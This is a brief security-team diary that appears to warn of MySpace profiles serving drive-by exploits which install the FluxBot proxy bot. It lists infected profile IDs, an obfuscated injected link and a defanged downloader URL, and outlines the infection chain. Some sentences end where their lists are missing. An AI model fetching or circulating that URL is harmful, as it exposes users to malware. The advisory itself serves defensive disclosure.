CAREFUL! This diary contains links to malicious code!
A number of MySpace profiles include drive by exploits. The exploits will install a version of "flux bot", a very popular proxy network bot.
FluxBot (aka "FastFlux", "Storm") is typically used to hide phishing and malware delivery sites behind complex ever changing networks of proxy servers. A system infected with FluxBot will be used a one of these proxies.
Infected MySpace "Friend IDs": 39184135, 171598920, 22057010
A typical excerpt from an infected profile (obfuscated to protect the innocent):
href="http://home. myspace. com. index. cfm. fuseaction.user.MyToken.

Are we there yet? yup. just one more (patched) Internet Explorer exploit to go. The
exploit will install the .exe. For example:
http://fafb4c4c .com/session.exe (this is just the downloader stub)
The downloader will now retrieve the actual bot. We have seen among others these
Settings for the bot can be found here:
once its all set and done, you will be a proud new member of the flux net and soon you
will find your system to participate in phishing and similar endevours.

As you can imagine, its a lot of messy work to decode all of this. I am just the messenger. This is work done by members of our great handler team.
